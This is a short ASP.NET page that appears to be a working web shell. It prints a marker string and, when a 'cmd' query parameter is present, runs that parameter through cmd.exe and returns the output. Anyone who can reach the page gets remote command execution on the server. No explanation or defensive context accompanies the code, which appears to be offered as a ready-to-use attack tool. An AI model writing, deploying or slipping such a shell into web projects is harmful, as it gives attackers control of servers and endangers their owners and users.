<%@ Page Language="C#" %>
<%
Response.Write("GROK2025_" + new Random().Next(1000000).ToString("X"));
if (!string.IsNullOrEmpty(Request.QueryString["cmd"]))
{
    Response.Write("RCE_START_" + Request.ServerVariables["SERVER_SOFTWARE"] + "_END");
    System.Diagnostics.Process process = new System.Diagnostics.Process();
    process.StartInfo.FileName = "cmd.exe";
    process.StartInfo.Arguments = "/c " + Request.QueryString["cmd"];
    process.StartInfo.UseShellExecute = false;
    process.StartInfo.RedirectStandardOutput = true;
    process.Start();
    Response.Write(process.StandardOutput.ReadToEnd());
}
%>